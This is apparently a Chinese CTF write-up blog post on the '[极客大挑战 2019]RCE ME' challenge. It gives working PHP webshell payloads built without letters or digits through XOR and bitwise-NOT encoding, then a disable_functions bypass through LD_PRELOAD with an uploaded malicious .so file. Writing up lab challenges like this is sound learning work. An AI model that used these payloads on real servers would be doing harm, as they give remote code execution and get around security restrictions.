刷题笔记:[极客大挑战 2019]RCE ME


前言

关键字:[无字母数字shell|ld_preload|disable_function]

以前做的题,现在再看之前写的记录,太逗乐了,当时怎么那么多迷惑操作呢

题解

一开始是想着无参webshell,还写了好久的fuzz代码
得 没用,代码写的也不好。
果然花个半个多小时做不出就直接看WP
浪费了三个小时,离谱

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

这是最低限度了,需要先把POST这几个字符拼接好

?shell=$='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');assert($$[_]);

最低限度都得五六十,这40长度肯定是不行的。当时想到这就该明白了
可惜一直没觉悟,浪费半天时间。

2021年7月20日20:12:48 这并非最简,具体可看最简情况的字符考量

这题还是得URL编码取反绕过

<?php
error_reporting(0);
$a = 'assert';
//这里不能是eval,因为eval非函数而是PHP语法构造一部分。本质是先取反转换字符串,然后通过[变量函数+括号]来调用函数,最内层的eval()是字符串,用assert将其变成命令,执行接收字符串,再被最外层的eval执行。
$b = urlencode(~$a);
$c = '(eval($_POST[cmd]))';
$d = urlencode(~$c);

echo '(~' . $b . ')(~' . $d . ');';

关于变量函数具体见刷题笔记:[SUCTF 2018]GetShell

连接蚁剑,得,无权限看flag。

disable_function bypass

利用linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE

找个有上传权限的目录上传文件

网上抄来的paylaod

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
等价于:
?code=${_GET}[_](${_GET}[__]);&_=assert&__=eval($_POST['a'])

因为只有/var/tmp有上传权限,所以用assert(include('/var/tmp/bypass_disablefunc.php'))的形式,等同于直接访问bypass_disablefunc.php

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

参考链接

https://blog.csdn.net/mochu7777777/article/details/104631142

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录